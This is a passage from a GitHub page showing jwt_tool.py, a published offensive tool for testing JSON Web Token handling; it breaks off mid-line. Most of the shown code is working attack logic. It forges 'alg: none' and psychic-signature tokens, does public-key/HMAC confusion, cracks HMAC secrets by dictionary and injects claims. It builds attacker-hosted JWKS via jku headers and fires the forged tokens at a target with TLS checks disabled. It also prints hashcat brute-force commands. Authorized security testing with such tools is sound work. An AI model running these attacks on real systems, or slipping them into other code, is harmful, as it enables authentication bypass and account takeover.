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GeezerVison is showing github.com — jwt_tool/jwt_tool.py at master · ticarpi/jwt_tool Expand file tree/ Copy pathjwt_tool.pyMore file actions executable file ·2223 lines (2117 loc) · 103 KB / Copy pathjwt_tool.pyFile metadata and controlsexecutable file ·2223 lines (2117 loc) · 103 KB 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 #!/usr/bin/env python3 # # JWT_Tool version 2.3.0 (01_05_2025) # Written by Andy Tyler (@ticarpi) # Please use responsibly... # Software URL: https://github.com/ticarpi/jwt_tool # Web: https://www.ticarpi.com # Twitter: @ticarpi jwttoolvers = "2.3.0" import ssl import sys import os import re import hashlib import hmac import base64 import json import random from urllib.parse import urljoin, urlparse import argparse from datetime import datetime import configparser from http.cookies import SimpleCookie from collections import OrderedDict from ratelimit import limits, RateLimitException, sleep_and_retry try: from Cryptodome.Signature import PKCS1_v1_5, DSS, pss from Cryptodome.Hash import SHA256, SHA384, SHA512 from Cryptodome.PublicKey import RSA, ECC except: print("WARNING: Cryptodome libraries not imported - these are needed for asymmetric crypto signing and verifying") print("On most Linux systems you can run the following command to install:") print("python3 -m pip install pycryptodomex\n") exit(1) try: from termcolor import cprint except: print("WARNING: termcolor library is not imported - this is used to make the output clearer and oh so pretty") print("On most Linux systems you can run the following command to install:") print("python3 -m pip install termcolor\n") exit(1) try: import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except: print("WARNING: Python Requests libraries not imported - these are needed for external service interaction") print("On most Linux systems you can run the following command to install:") print("python3 -m pip install requests\n") exit(1) # To fix broken colours in Windows cmd/Powershell: uncomment the below two lines. You will need to install colorama: 'python3 -m pip install colorama' # import colorama # colorama.init() # CONSTANTS DEFAULT_RATE_LIMIT = 999999999 DEFAULT_RATE_PERIOD = 60 def cprintc(textval, colval): if not args.bare: cprint(textval, colval) def createConfig(): privKeyName = path+"/jwttool_custom_private_RSA.pem" pubkeyName = path+"/jwttool_custom_public_RSA.pem" ecprivKeyName = path+"/jwttool_custom_private_EC.pem" ecpubkeyName = path+"/jwttool_custom_public_EC.pem" jwksName = path+"/jwttool_custom_jwks.json" proxyHost = "127.0.0.1" config = configparser.ConfigParser(allow_no_value=True) config.optionxform = str config['crypto'] = {'pubkey': pubkeyName, 'privkey': privKeyName, 'ecpubkey': ecpubkeyName, 'ecprivkey': ecprivKeyName, 'jwks': jwksName} config['customising'] = {'useragent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) jwt_tool', 'jwks_kid': 'jwt_tool'} if (os.path.isfile(privKeyName)) and (os.path.isfile(pubkeyName)) and (os.path.isfile(ecprivKeyName)) and (os.path.isfile(ecpubkeyName)) and (os.path.isfile(jwksName)): cprintc("Found existing Public and Private Keys - using these...", "cyan") origjwks = open(jwksName, "r").read() jwks_b64 = base64.b64encode(origjwks.encode('ascii')) else: # gen RSA keypair pubKey, privKey = newRSAKeyPair() with open(privKeyName, 'w') as test_priv_out: test_priv_out.write(privKey.decode()) with open(pubkeyName, 'w') as test_pub_out: test_pub_out.write(pubKey.decode()) # gen EC keypair ecpubKey, ecprivKey = newECKeyPair() with open(ecprivKeyName, 'w') as ectest_priv_out: ectest_priv_out.write(ecprivKey) with open(ecpubkeyName, 'w') as ectest_pub_out: ectest_pub_out.write(ecpubKey) # gen jwks new_key = RSA.importKey(pubKey) n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big')) e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big')) jwksbuild = buildJWKS(n, e, "jwt_tool") jwksout = {"keys": []} jwksout["keys"].append(jwksbuild) fulljwks = json.dumps(jwksout,separators=(",",":"), indent=4) with open(jwksName, 'w') as test_jwks_out: test_jwks_out.write(fulljwks) jwks_b64 = base64.urlsafe_b64encode(fulljwks.encode('ascii')) config['services'] = {'jwt_tool_version': jwttoolvers, '# To disable the proxy option set this value to: False (no quotes). For Docker installations with a Windows host OS set this to: "host.docker.internal:8080"': None, 'proxy': proxyHost+':8080', '# To disable following redirects set this value to: False (no quotes)': None, 'redir': 'True', '# Set this to the URL you are hosting your custom JWKS file (jwttool_custom_jwks.json) - your own server, or maybe use this cheeky reflective URL (https://httpbin.org/base64/{base64-encoded_JWKS_here})': None, 'jwksloc': '', 'jwksdynamic': 'https://httpbin.org/base64/'+jwks_b64.decode(), '# Set this to the base URL of a Collaborator server, somewhere you can read live logs, a Request Bin etc.': None, 'httplistener': ''} config['input'] = {'wordlist': 'jwt-common.txt', 'commonHeaders': 'common-headers.txt', 'commonPayloads': 'common-payloads.txt'} config['argvals'] = {'# Set at runtime - changes here are ignored': None, 'sigType': '', 'targetUrl': '', 'rate': str(DEFAULT_RATE_LIMIT), 'cookies': '', 'key': '', 'keyList': '', 'keyFile': '', 'headerLoc': '', 'payloadclaim': '', 'headerclaim': '', 'payloadvalue': '', 'headervalue': '', 'canaryvalue': '', 'header': '', 'exploitType': '', 'scanMode': '', 'reqMode': '', 'postData': '', 'resCode': '', 'resSize': '', 'resContent': ''} with open(configFileName, 'w') as configfile: config.write(configfile) cprintc("Configuration file built - review contents of \"jwtconf.ini\" to customise your options.", "cyan") cprintc("Make sure to set the \"httplistener\" value to a URL you can monitor to enable out-of-band checks.", "cyan") exit(1) @sleep_and_retry @limits(calls=DEFAULT_RATE_LIMIT, period=DEFAULT_RATE_PERIOD) def sendToken(token, cookiedict, track, headertoken="", postdata=None): if not postdata: postdata = config['argvals']['postData'] url = config['argvals']['targetUrl'] headers = {'User-agent': config['customising']['useragent']+" "+track} if headertoken: for eachHeader in headertoken: headerName, headerVal = eachHeader.split(":",1) headers[headerName] = headerVal.lstrip(" ") try: if config['services']['redir'] == "True": redirBool = True else: redirBool = False if config['services']['proxy'] == "False": if postdata: response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool) else: response = requests.get(url, headers=headers, cookies=cookiedict, proxies=False, verify=False, allow_redirects=redirBool) else: proxies = {'http': 'http://'+config['services']['proxy'], 'https': 'http://'+config['services']['proxy']} if postdata: response = requests.post(url, data=postdata, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool) else: response = requests.get(url, headers=headers, cookies=cookiedict, proxies=proxies, verify=False, allow_redirects=redirBool) if int(response.elapsed.total_seconds()) >= 9: cprintc("HTTP response took about 10 seconds or more - could be a sign of a bug or vulnerability", "cyan") return [response.status_code, len(response.content), response.content] except requests.exceptions.ProxyError as err: cprintc("[ERROR] ProxyError - check proxy is up and not set to tamper with requests\n(If proxy is not needed disable this with -np on the commandline.)\n"+str(err), "red") exit(1) def parse_dict_cookies(value): cookiedict = {} for item in value.split(';'): item = item.strip() if not item: continue if '=' not in item: cookiedict[item] = None continue name, value = item.split('=', 1) cookiedict[name] = value return cookiedict def strip_dict_cookies(value): cookiestring = "" for item in value.split(';'): if re.search(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', item): continue else: cookiestring += "; "+item cookiestring = cookiestring.lstrip("; ") return cookiestring def jwtOut(token, fromMod, desc=""): genTime = datetime.now().strftime('%Y-%m-%d %H:%M:%S') idFrag = genTime+str(token) logID = "jwttool_"+hashlib.md5(idFrag.encode()).hexdigest() if config['argvals']['targetUrl'] != "": curTargetUrl = config['argvals']['targetUrl'] p = re.compile(r'eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*') if config['argvals']['headerloc'] == "cookies": cookietoken = p.subn(token, config['argvals']['cookies'], 0) else: cookietoken = [config['argvals']['cookies'],0] if config['argvals']['headerloc'] == "headers": headertoken = [[],0] for eachHeader in args.headers: try: headerSub = p.subn(token, eachHeader, 0) headertoken[0].append(headerSub[0]) if headerSub[1] == 1: headertoken[1] = 1 except: pass else: headertoken = [[],0] if args.headers: for eachHeader in args.headers: headertoken[0].append(eachHeader) if config['argvals']['headerloc'] == "postdata": posttoken = p.subn(token, config['argvals']['postdata'], 0) else: posttoken = [config['argvals']['postdata'],0] try: cookiedict = parse_dict_cookies(cookietoken[0]) except: cookiedict = {} # Check if token was included in substitution if cookietoken[1] == 1 or headertoken[1] == 1 or posttoken[1]: resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0]) else: if config['argvals']['overridesub'] == "true": resData = sendToken(token, cookiedict, logID, headertoken[0], posttoken[0]) else: cprintc("[-] No substitution occurred - check that a token is included in a cookie/header in the request", "red") # cprintc(headertoken, cookietoken, "cyan") exit(1) if config['argvals']['canaryvalue']: if config['argvals']['canaryvalue'] in str(resData[2]): cprintc("[+] FOUND \""+config['argvals']['canaryvalue']+"\" in response:\n"+logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green") else: cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan") else: if 200 <= resData[0] < 300: cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green") elif 300 <= resData[0] < 400: cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan") elif 400 <= resData[0] < 600: cprintc(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "red") else: if desc != "": cprintc(logID+" - "+desc, "cyan") if not args.bare: cprintc("[+] "+token, "green") else: print(token) curTargetUrl = "Not sent" additional = "[Commandline request: "+' '.join(sys.argv[0:])+']' setLog(token, genTime, logID, fromMod, curTargetUrl, additional) try: config['argvals']['rescode'],config['argvals']['ressize'],config['argvals']['rescontent'] = str(resData[0]),str(resData[1]),str(resData[2]) except: pass def setLog(jwt, genTime, logID, modulename, targetURL, additional): logLine = genTime+" | "+modulename+" | "+targetURL+" | "+additional with open(logFilename, 'a') as logFile: logFile.write(logID+" - "+logLine+" - "+jwt+"\n") return logID def buildHead(alg, headDict): newHead = headDict newHead["alg"] = alg newHead = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":")).encode()).decode('UTF-8').strip("=") return newHead def checkNullSig(contents): jwtNull = contents.decode()+"." return jwtNull def checkPsySig(headDict, paylB64): newHead = buildHead('ES256', headDict) jwtPsy = newHead+"."+paylB64+".MAYCAQACAQA" return jwtPsy def checkAlgNone(headDict, paylB64): alg1 = "none" newHead1 = buildHead(alg1, headDict) CVEToken0 = newHead1+"."+paylB64+"." alg = "None" newHead = buildHead(alg, headDict) CVEToken1 = newHead+"."+paylB64+"." alg = "NONE" newHead = buildHead(alg, headDict) CVEToken2 = newHead+"."+paylB64+"." alg = "nOnE" newHead = buildHead(alg, headDict) CVEToken3 = newHead+"."+paylB64+"." return [CVEToken0, CVEToken1, CVEToken2, CVEToken3] def checkPubKeyExploit(headDict, paylB64, pubKey): try: key = open(pubKey).read() cprintc("File loaded: "+pubKey, "cyan") except: cprintc("[-] File not found", "red") exit(1) newHead = headDict newHead["alg"] = "HS256" newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") newTok = newHead+"."+paylB64 newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newTok.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=") return newTok, newSig def injectpayloadclaim(payloadclaim, injectionvalue): newpaylDict = paylDict newpaylDict[payloadclaim] = castInput(injectionvalue) newPaylB64 = base64.urlsafe_b64encode(json.dumps(newpaylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") return newpaylDict, newPaylB64 def injectheaderclaim(headerclaim, injectionvalue): newheadDict = headDict newheadDict[headerclaim] = castInput(injectionvalue) newHeadB64 = base64.urlsafe_b64encode(json.dumps(newheadDict,separators=(",",":")).encode()).decode('UTF-8').strip("=") return newheadDict, newHeadB64 def tamperToken(paylDict, headDict, sig): cprintc("\n====================================================================\nThis option allows you to tamper with the header, contents and \nsignature of the JWT.\n====================================================================", "white") cprintc("\nToken header values:", "white") while True: i = 0 headList = [0] for pair in headDict: menuNum = i+1 if isinstance(headDict[pair], dict): cprintc("["+str(menuNum)+"] "+pair+" = JSON object:", "green") for subclaim in headDict[pair]: cprintc(" [+] "+subclaim+" = "+str(headDict[pair][subclaim]), "green") else: if type(headDict[pair]) == str: cprintc("["+str(menuNum)+"] "+pair+" = \""+str(headDict[pair])+"\"", "green") else: cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "green") headList.append(pair) i += 1 cprintc("["+str(i+1)+"] *ADD A VALUE*", "white") cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white") cprintc("[0] Continue to next step", "white") selection = "" cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white") try: selection = int(input("> ")) except: cprintc("Invalid selection", "red") exit(1) if selection<len(headList) and selection>0: if isinstance(headDict[headList[selection]], dict): cprintc("\nPlease select a sub-field number for the "+pair+" claim:\n(or 0 to Continue)", "white") newVal = OrderedDict() for subclaim in headDict[headList[selection]]: newVal[subclaim] = headDict[pair][subclaim] newVal = buildSubclaim(newVal, headList, selection) headDict[headList[selection]] = newVal else: cprintc("\nCurrent value of "+headList[selection]+" is: "+str(headDict[headList[selection]]), "white") cprintc("Please enter new value and hit ENTER", "white") newVal = input("> ") headDict[headList[selection]] = castInput(newVal) elif selection == i+1: cprintc("Please enter new Key and hit ENTER", "white") newPair = input("> ") cprintc("Please enter new value for "+newPair+" and hit ENTER", "white") newInput = input("> ") headList.append(newPair) headDict[headList[selection]] = castInput(newInput) elif selection == i+2: cprintc("Please select a Key to DELETE and hit ENTER", "white") i = 0 for pair in headDict: menuNum = i+1 cprintc("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "white") headList.append(pair) i += 1 try: delPair = int(input("> ")) except: cprintc("Invalid selection", "red") exit(1) del headDict[headList[delPair]] elif selection == 0: break else: exit(1) cprintc("\nToken payload values:", "white") while True: comparestamps, expiredtoken = dissectPayl(paylDict, count=True) i = 0 paylList = [0] for pair in paylDict: menuNum = i+1 paylList.append(pair) i += 1 cprintc("["+str(i+1)+"] *ADD A VALUE*", "white") cprintc("["+str(i+2)+"] *DELETE A VALUE*", "white") if len(comparestamps) > 0: cprintc("["+str(i+3)+"] *UPDATE TIMESTAMPS*", "white") cprintc("[0] Continue to next step", "white") selection = "" cprintc("\nPlease select a field number:\n(or 0 to Continue)", "white") try: selection = int(input("> ")) except: cprintc("Invalid selection", "red") exit(1) if selection<len(paylList) and selection>0: if isinstance(paylDict[paylList[selection]], dict): cprintc("\nPlease select a sub-field number for the "+str(paylList[selection])+" claim:\n(or 0 to Continue)", "white") newVal = OrderedDict() for subclaim in paylDict[paylList[selection]]: newVal[subclaim] = paylDict[paylList[selection]][subclaim] newVal = buildSubclaim(newVal, paylList, selection) paylDict[paylList[selection]] = newVal else: cprintc("\nCurrent value of "+paylList[selection]+" is: "+str(paylDict[paylList[selection]]), "white") cprintc("Please enter new value and hit ENTER", "white") newVal = input("> ") paylDict[paylList[selection]] = castInput(newVal) elif selection == i+1: cprintc("Please enter new Key and hit ENTER", "white") newPair = input("> ") cprintc("Please enter new value for "+newPair+" and hit ENTER", "white") newVal = input("> ") try: newVal = int(newVal) except: pass paylList.append(newPair) paylDict[paylList[selection]] = castInput(newVal) elif selection == i+2: cprintc("Please select a Key to DELETE and hit ENTER", "white") i = 0 for pair in paylDict: menuNum = i+1 cprintc("["+str(menuNum)+"] "+pair+" = "+str(paylDict[pair]), "white") paylList.append(pair) i += 1 delPair = eval(input("> ")) del paylDict[paylList[delPair]] elif selection == i+3: cprintc("Timestamp updating:", "white") cprintc("[1] Update earliest timestamp to current time (keeping offsets)", "white") cprintc("[2] Add 1 hour to timestamps", "white") cprintc("[3] Add 1 day to timestamps", "white") cprintc("[4] Remove 1 hour from timestamps", "white") cprintc("[5] Remove 1 day from timestamps", "white") cprintc("\nPlease select an option from above (1-5):", "white") try: selection = int(input("> ")) except: cprintc("Invalid selection", "red") exit(1) if selection == 1: nowtime = int(datetime.now().timestamp()) timecomp = {} for timestamp in comparestamps: timecomp[timestamp] = paylDict[timestamp] earliest = min(timecomp, key=timecomp.get) earlytime = paylDict[earliest] for timestamp in comparestamps: if timestamp == earliest: paylDict[timestamp] = nowtime else: difftime = int(paylDict[timestamp])-int(earlytime) paylDict[timestamp] = nowtime+difftime elif selection == 2: for timestamp in comparestamps: newVal = int(paylDict[timestamp])+3600 paylDict[timestamp] = newVal elif selection == 3: for timestamp in comparestamps: newVal = int(paylDict[timestamp])+86400 paylDict[timestamp] = newVal elif selection == 4: for timestamp in comparestamps: newVal = int(paylDict[timestamp])-3600 paylDict[timestamp] = newVal elif selection == 5: for timestamp in comparestamps: newVal = int(paylDict[timestamp])-86400 paylDict[timestamp] = newVal else: cprintc("Invalid selection", "red") exit(1) elif selection == 0: break else: exit(1) if config['argvals']['sigType'] == "" and config['argvals']['exploitType'] == "": cprintc("Signature unchanged - no signing method specified (-S or -X)", "cyan") newContents = genContents(headDict, paylDict) desc = "Tampered token:" jwtOut(newContents+"."+sig, "Manual Tamper - original signature", desc) elif config['argvals']['exploitType'] != "": runExploits() elif config['argvals']['sigType'] != "": signingToken(headDict, paylDict) def signingToken(newheadDict, newpaylDict): if config['argvals']['sigType'][0:2] == "hs": key = "" if args.password: key = config['argvals']['key'] elif args.keyfile: key = open(config['argvals']['keyFile']).read() newSig, newContents = signTokenHS(newheadDict, newpaylDict, key, int(config['argvals']['sigType'][2:])) desc = "Tampered token - HMAC Signing:" jwtOut(newContents+"."+newSig, "Manual Tamper - HMAC Signing", desc) elif config['argvals']['sigType'][0:2] == "rs": newSig, newContents = signTokenRSA(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:])) desc = "Tampered token - RSA Signing:" jwtOut(newContents+"."+newSig, "Manual Tamper - RSA Signing", desc) elif config['argvals']['sigType'][0:2] == "es": newSig, newContents = signTokenEC(newheadDict, newpaylDict, config['crypto']['ecprivkey'], int(config['argvals']['sigType'][2:])) desc = "Tampered token - EC Signing:" jwtOut(newContents+"."+newSig, "Manual Tamper - EC Signing", desc) elif config['argvals']['sigType'][0:2] == "ps": newSig, newContents = signTokenPSS(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:])) desc = "Tampered token - PSS RSA Signing:" jwtOut(newContents+"."+newSig, "Manual Tamper - PSS RSA Signing", desc) def checkSig(sig, contents, key): quiet = False if key == "": cprintc("Type in the key to test", "white") key = input("> ") testKey(key.encode(), sig, contents, headDict, quiet) def checkSigKid(sig, contents): quiet = False cprintc("\nLoading key file...", "cyan") try: key1 = open(config['argvals']['keyFile']).read() cprintc("File loaded: "+config['argvals']['keyFile'], "cyan") testKey(key1.encode(), sig, contents, headDict, quiet) except: cprintc("Could not load key file", "red") exit(1) def crackSig(sig, contents): quiet = True if headDict["alg"][0:2] != "HS": cprintc("Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.", "red") return # print("\nLoading key dictionary...") try: # cprintc("File loaded: "+config['argvals']['keyList'], "cyan") keyLst = open(config['argvals']['keyList'], "r", encoding='utf-8', errors='ignore') nextKey = keyLst.readline() except: cprintc("No dictionary file loaded", "red") exit(1) # print("Testing passwords in dictionary...") utf8errors = 0 wordcount = 0 while nextKey: wordcount += 1 try: cracked = testKey(nextKey.strip().encode('UTF-8'), sig, contents, headDict, quiet) except: cracked = False if not cracked: if wordcount % 1000000 == 0: cprintc("[*] Tested "+str(int(wordcount/1000000))+" million passwords so far", "cyan") try: nextKey = keyLst.readline() except: utf8errors += 1 nextKey = keyLst.readline() else: return if cracked == False: cprintc("[-] Key not in dictionary", "red") if not args.mode: cprintc("\n===============================\nAs your list wasn't able to crack this token you might be better off using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.\nhashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:\n\n[*] dictionary attacks: hashcat -a 0 -m 16500 jwt.txt passlist.txt\n[*] rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule\n[*] brute-force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6\n===============================\n", "cyan") if utf8errors > 0: cprintc(utf8errors, " UTF-8 incompatible passwords skipped", "cyan") def castInput(newInput): if "{" in str(newInput): try: jsonInput = json.loads(newInput) return jsonInput except ValueError: pass if "\"" in str(newInput): return newInput.strip("\"") elif newInput == "True" or newInput == "true": return True elif newInput == "False" or newInput == "false": return False elif newInput == "null": return None else: try: numInput = float(newInput) try: intInput = int(newInput) return intInput except: return numInput except: return str(newInput) return newInput def buildSubclaim(newVal, claimList, selection): while True: subList = [0] s = 0 for subclaim in newVal: subNum = s+1 cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white") s += 1 subList.append(subclaim) cprintc("["+str(s+1)+"] *ADD A VALUE*", "white") cprintc("["+str(s+2)+"] *DELETE A VALUE*", "white") cprintc("[0] Continue to next step", "white") try: subSel = int(input("> ")) except: cprintc("Invalid selection", "red") exit(1) if subSel<=len(newVal) and subSel>0: selClaim = subList[subSel] cprintc("\nCurrent value of "+selClaim+" is: "+str(newVal[selClaim]), "white") cprintc("Please enter new value and hit ENTER", "white") newVal[selClaim] = castInput(input("> ")) cprintc("", "white") elif subSel == s+1: cprintc("Please enter new Key and hit ENTER", "white") newPair = input("> ") cprintc("Please enter new value for "+newPair+" and hit ENTER", "white") newVal[newPair] = castInput(input("> ")) elif subSel == s+2: cprintc("Please select a Key to DELETE and hit ENTER", "white") s = 0 for subclaim in newVal: subNum = s+1 cprintc("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]), "white") subList.append(subclaim) s += 1 try: selSub = int(input("> ")) except: cprintc("Invalid selection", "red") exit(1) delSub = subList[selSub] del newVal[delSub] elif subSel == 0: return newVal def testKey(key, sig, contents, headDict, quiet): if headDict["alg"] == "HS256": testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha256).digest()).decode('UTF-8').strip("=") elif headDict["alg"] == "HS384": testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha384).digest()).decode('UTF-8').strip("=") elif headDict["alg"] == "HS512": testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha512).digest()).decode('UTF-8').strip("=") else: cprintc("Algorithm is not HMAC-SHA - cannot test with this tool.", "red") exit(1) if testSig == sig: cracked = True if len(key) > 25: cprintc("[+] CORRECT key found:\n"+key.decode('UTF-8'), "green") else: cprintc("[+] "+key.decode('UTF-8')+" is the CORRECT key!", "green") cprintc("You can tamper/fuzz the token contents (-T/-I) and sign it using:\npython3 jwt_tool.py [options here] -S "+str(headDict["alg"]).lower()+" -p \""+key.decode('UTF-8')+"\"", "cyan") return cracked else: cracked = False if quiet == False: if len(key) > 25: cprintc("[-] "+key[0:25].decode('UTF-8')+"...(output trimmed) is not the correct key", "red") else: cprintc("[-] "+key.decode('UTF-8')+" is not the correct key", "red") return cracked def getRSAKeyPair(): #config['crypto']['pubkey'] = config['crypto']['pubkey'] privkey = config['crypto']['privkey'] cprintc("key: "+privkey, "cyan") privKey = RSA.importKey(open(privkey).read()) pubKey = privKey.publickey().exportKey("PEM") #config['crypto']['pubkey'] = RSA.importKey(config['crypto']['pubkey']) return pubKey, privKey def newRSAKeyPair(): new_key = RSA.generate(2048, e=65537) pubKey = new_key.publickey().exportKey("PEM") privKey = new_key.exportKey("PEM") return pubKey, privKey def newECKeyPair(): new_key = ECC.generate(curve='P-256') pubkey = new_key.public_key().export_key(format="PEM") privKey = new_key.export_key(format="PEM") return pubkey, privKey def signTokenHS(headDict, paylDict, key, hashLength): newHead = headDict newHead["alg"] = "HS"+str(hashLength) if hashLength == 384: newContents = genContents(newHead, paylDict) newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha384).digest()).decode('UTF-8').strip("=") elif hashLength == 512: newContents = genContents(newHead, paylDict) newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha512).digest()).decode('UTF-8').strip("=") else: newContents = genContents(newHead, paylDict) newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=") return newSig, newContents def buildJWKS(n, e, kid): newjwks = {} newjwks["kty"] = "RSA" newjwks["kid"] = kid newjwks["use"] = "sig" newjwks["e"] = str(e.decode('UTF-8')) newjwks["n"] = str(n.decode('UTF-8').rstrip("=")) return newjwks def jwksGen(headDict, paylDict, jku, privKey, kid="jwt_tool"): newHead = headDict nowtime = str(int(datetime.now().timestamp())) key = RSA.importKey(open(config['crypto']['privkey']).read()) pubKey = key.publickey().exportKey("PEM") privKey = key.export_key(format="PEM") new_key = RSA.importKey(pubKey) n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big')) e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big')) privKeyName = config['crypto']['privkey'] newjwks = buildJWKS(n, e, kid) newHead["jku"] = jku newHead["alg"] = "RS256" key = RSA.importKey(privKey) newContents = genContents(newHead, paylDict) newContents = newContents.encode('UTF-8') h = SHA256.new(newContents) signer = PKCS1_v1_5.new(key) try: signature = signer.sign(h) except: cprintc("Invalid Private Key", "red") exit(1) newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") jwksout = json.dumps(newjwks,separators=(",",":"), indent=4) jwksbuild = {"keys": []} jwksbuild["keys"].append(newjwks) fulljwks = json.dumps(jwksbuild,separators=(",",":"), indent=4) if config['crypto']['jwks'] == "": jwksName = "jwks_jwttool_RSA_"+nowtime+".json" with open(jwksName, 'w') as test_jwks_out: test_jwks_out.write(fulljwks) else: jwksName = 